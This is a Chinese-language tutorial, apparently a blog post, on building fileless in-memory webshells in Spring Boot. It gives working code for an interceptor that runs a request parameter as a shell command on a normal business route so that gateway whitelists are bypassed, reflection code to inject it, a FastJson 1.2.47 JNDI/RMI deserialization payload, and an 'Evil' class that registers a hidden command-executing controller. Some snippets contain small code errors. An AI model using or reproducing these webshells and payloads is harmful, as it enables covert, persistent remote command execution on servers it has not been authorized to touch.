深入淺出內存馬(二) 之SpringBoot內存馬(文末視頻教學)
0x01 前言
在上一篇文章中深入淺出內存馬(一),我介紹了基于Tomcat的Filter內存馬,不光是Filter 還有listener、servlet、controller 等不同形式的內存馬。如今企業開發過程中,大部分使用的都是spring系列的框架進行開發,特別是SpringBoot,現在基本是企業開發的標配。所以探討Spring系列下的內存馬就顯得非常必要了。
今天我們就來研究研究Spring Boot下的內存馬實現。
0x02 需求
隨著微服務部署技術的迭代演進,大型業務系統在到達真正的應用服務器的時候,會經過一些系列的網關,復雜均衡,防火墻。所以如果你新建的shell路由不在這些網關的白名單中,那么就很有可能無法訪問到,在到達應用服務器之前就會被丟棄,我們該如何解決這個問題?
所以,在注入內存馬的時候,就盡量不要用新建的路由,或者shell地址。最好是在訪問正常的業務地址之前,就能執行我們的代碼。
根據這個文章里面的說法基于內存 Webshell 的無文件攻擊技術研究
在經過一番文檔查閱和源碼閱讀后,發現可能有不止一種方法可以達到以上效果。其中通用的技術點主要有以下幾個:
- 在不使用注解和修改配置文件的情況下,使用純 java 代碼來獲得當前代碼運行時的上下文環境;
- 在不使用注解和修改配置文件的情況下,使用純 java 代碼在上下文環境中手動注冊一個 controller;
- controller 中寫入 Webshell 邏輯,達到和 Webshell 的 URL 進行交互回顯的效果;
0x03 SpringBoot的生命周期
為了滿足上面的需求,我們需要了解SpringBoot的生命周期,我們需要研究的是:一個請求到到應用層之前,需要經過那幾個部分?是如何一步一步到到我們的Controller的?
我們用IDEA來搭建一個SpingBoot2 的環境

訪問地址:

我們還是把斷點打在org.apache.catalina.core.ApplicationFilterChain中的 internalDoFilter方法中

可以看到整個執行流程

這部分在上一篇文章中已經詳細描述過,這里不在贅述。
但是這里不同的是在經過 Filter 層面處理后,就會進入熟悉的 spring-webmvc 組件 org.springframework.web.servlet.DispatcherServlet 類的 doDispatch 方法中。

跟進去這個方法

可以看到是遍歷this.handlerMappings 這個迭代器中的mapper的getHandler 方法處理Http中的request請求。
繼續追蹤,最終會調用到org.springframework.web.servlet.handler.AbstractHandlerMapping 類的 getHandler 方法,并通過 getHandlerExecutionChain(handler, request) 方法返回 HandlerExecutionChain 類的實例。

繼續跟進getHandlerExecutionChain 方法,

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);
Iterator var4 = this.adaptedInterceptors.iterator();
while(var4.hasNext()) {
HandlerInterceptor interceptor = (HandlerInterceptor)var4.next();
if (interceptor instanceof MappedInterceptor) {
MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
if (mappedInterceptor.matches(request)) {
chain.addInterceptor(mappedInterceptor.getInterceptor());
}
} else {
chain.addInterceptor(interceptor);
}
}
//返回的是HandlerExecutonChain,這里包含了所有的攔截器
return chain;
}
好了,現在我們知道程序在哪里加入的攔截器(interceptor)后,追蹤到這行代碼
if (!mappedHandler.applyPreHandle(processedRequest, response)) {
return;
}
跟進之后發現interceptor.preHandle(request, response, this.handler) 會遍歷攔截器,并執行其preHandle方法。

如果程序提前在調用的 Controller 上設置了 Aspect(切面),那么在正式調用 Controller 前實際上會先調用切面的代碼,一定程度上也起到了 "攔截" 的效果。
那么總結一下,一個 request 發送到 spring 應用,大概會經過以下幾個層面才會到達處理業務邏輯的 Controller 層:
HttpRequest --> Filter --> DispactherServlet --> Interceptor --> Aspect --> Controller
0x04 攔截器Interceptor 的理論探索
用 Interceptor 來攔截所有進入 Controller 的 http 請求理論上是可行的,接下來就是實現從代碼層面動態注入一個 Interceptor 來達到 webshell 的效果。
可以通過繼承 HandlerInterceptorAdapter 類或者HandlerInterceptor 類并重寫其 preHandle 方法實現攔截。preHandle是請求執行前執行,preHandle 方法中寫一些攔截的處理,比如下面,當請求參數中帶 id 時進行攔截,并寫入字符串 InterceptorTest OK! 到 response。
0x0401 模擬真實業務
真實業務,這里模擬一個登錄場景,登錄成功返回login success。
package com.evalshell.springboot.web;
import com.evalshell.springboot.model.User;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;
import javax.servlet.http.HttpServletRequest;
@Controller
@RequestMapping(value = "/user")
public class UserCrotroller {
@RequestMapping(value = "/login")
public @ResponseBody Object login(HttpServletRequest request){
//簡單模擬登錄成功
//實體類User 我就不贅述了,就是有2個屬性。并實現getter和setter 構造器方法
User user = new User();
user.setAge(18);
user.setName("jack");
request.getSession().setAttribute("user", user);
return "login success";
}
}
0x0402 編寫自定義的Interceptor
package com.evalshell.springboot.interceptor;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.ModelAndView;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
public class VulInterceptor implements HandlerInterceptor {
@Override
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
String code = request.getParameter("code");
if(code != null){
try {
java.io.PrintWriter writer = response.getWriter();
ProcessBuilder p;
if(System.getProperty("os.name").toLowerCase().contains("win")){
p = new ProcessBuilder(new String[]{"cmd.exe", "/c", code});
}else{
System.out.println(code);
p = new ProcessBuilder(new String[]{"/bin/bash", "-c", code});
}
builder.redirectErrorStream(true);
Process p = builder.start();
BufferedReader r = new BufferedReader(new InputStreamReader(p.getInputStream()));
String result = r.readLine();
System.out.println(result);
writer.println(result);
writer.flush();
writer.close();
}catch (Exception e){
}
return false;
}
return true;
}
@Override
public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {
HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);
}
@Override
public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {
HandlerInterceptor.super.afterCompletion(request, response, handler, ex);
}
}
0x0403 注冊攔截器
實現攔截器后還需要將攔截器注冊到spring容器中,可以通過implements WebMvcConfigurer,覆蓋其addInterceptors(InterceptorRegistry registry)方法
package com.evalshell.springboot.config;
import com.evalshell.springboot.interceptor.VulInterceptor;
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class InterceptorConfig implements WebMvcConfigurer {
@Override
public void addInterceptors(InterceptorRegistry registry) {
//這里是配置需要攔截的路由
String[] VulPathPatterns = {"/user/login"};
registry.addInterceptor(new VulInterceptor()).addPathPatterns(VulPathPatterns);
}
}
可以看到達到的效果是訪問正常路由,不會影響正常業務。如果是帶有code的參數會執行code里面的代碼,從而突破網關的限制。
那么我們現在已經明白了如何在springboot中進行攔截,并執行我們的內存馬,但是還是有一個問題,如何注入我們的內存馬?
在這里根據landgrey大佬的思路:
spring boot 初始化過程中會往org.springframework.context.support.LiveBeansView類的applicationContexts屬性中添加org.springframework.boot.web.servlet.context.AnnotationConfigServletWebServerApplicationContext類的對象。bean 實例名字是requestMappingHandlerMapping或者比較老版本的DefaultAnnotationHandlerMapping。那么獲取adaptedInterceptors屬性值就比較簡單了:
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping)context.getBean("requestMappingHandlerMapping");
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList adaptedInterceptors = (java.util.ArrayList)field.get(abstractHandlerMapping);
我總結下就是:
首先獲取應用的上下文環境,也就是ApplicationContext
然后從 ApplicationContext 中獲取 AbstractHandlerMapping 實例(用于反射)
反射獲取 AbstractHandlerMapping類的 adaptedInterceptors字段
通過 adaptedInterceptors注冊攔截器
0x05 實戰
為了方便搭建環境,我們采用FastJson 1.2.47的RCE來創造反序列化漏洞利用點,我們在pom.xml中配置好我們的依賴,
<dependencies>
<dependency>
<groupId>com.alibabagroupId>
<artifactId>fastjsonartifactId>
<version>1.2.47version>
dependency>
<dependency>
<groupId>org.springframework.bootgroupId>
<artifactId>spring-boot-starter-webartifactId>
dependency>
dependencies>
手動創建一個FastJson的利用點,因為在 JDK 18u191, 11.0.1之后 com.sun.jndi.ldap.object.trustURLCodebase 屬性的默認值被調整為false,為了演示,我這里是用了JDK 18u102。
@Controller
public class VulController {
@RequestMapping(value = "/unserializer")
@ResponseBody
public String unserializer(@RequestParam String code){
JSON.parse(code);
return "unserializer";
}
}
創建RMI服務器
package com.evalshell.server;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class JNDIServer {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("TouchFile",
"com.evalshell.server.TouchFile","http://127.0.0.1:8083/");
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("Exploit", referenceWrapper);
}
}
創建惡意代碼
package com.evalshell.server;
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"open", "/System/Applications/Calculator.app"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
啟動JNDIServer,端口啟動在了1099
在TouchFile的編譯后的類路徑下,開啟web服務,提供惡意類文件的http下載服務,這個端口必須和上面的JNDIServer中配置的一致。
我們使用FastJson的Payload進行攻擊
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://127.0.0.1:1099/TouchFile",
"autoCommit":true
}
}
用postman請求,攻擊成功的話,就會彈出計算器,表示可以執行任意命令。
好的,上述已經搭建起一個Fastjson的漏洞環境。
使用上述方法編寫攔截器內存馬:
package com.evalshell.server;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import org.springframework.web.servlet.handler.AbstractHandlerMethodMapping;
import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;
import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;
import org.springframework.web.servlet.mvc.method.RequestMappingInfo;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
public class Evil {
public Evil() throws Exception{
// 關于獲取Context的方式有多種
WebApplicationContext context = (WebApplicationContext) RequestContextHolder.
currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);
Method method = Class.forName("org.springframework.web.servlet.handler.AbstractHandlerMethodMapping").getDeclaredMethod("getMappingRegistry");
method.setAccessible(true);
// 通過反射獲得該類的test方法
Method method2 = Evil.class.getMethod("test");
// 定義該controller的path
PatternsRequestCondition url = new PatternsRequestCondition("/good");
// 定義允許訪問的HTTP方法
RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();
// 構造注冊信息
RequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);
// 創建用于處理請求的對象,避免無限循環使用另一個構造方法
Evil injectToController = new Evil("aaa");
// 將該controller注冊到Spring容器
mappingHandlerMapping.registerMapping(info, injectToController, method2);
}
private Evil(String aaa) {
}
public void test() throws IOException {
// 獲取請求
HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();
// 獲取請求的參數cmd并執行
// 類似于PHP的system($_GET["cmd"])
Runtime.getRuntime().exec(request.getParameter("cmd"));
}
}
同時修改JNDIServer類中的代碼
將Reference reference = new Reference("VulClass", "com.evalshell.server.VulClass","http://127.0.0.1:8083/"); 替換成 Reference reference = new Reference("Evil","com.evalshell.server.Evil","http://127.0.0.1:8083/");
最后演示一下,使用fastjson RCE進行攻擊并動態寫入我們的內存馬
至此,我們已經完成SpringBoot下的無文件內存馬的實現!
0x06 參考
https://landgrey.me/blog/19/
https://www.anquanke.com/post/id/198886#h2-0
https://evalshell.com/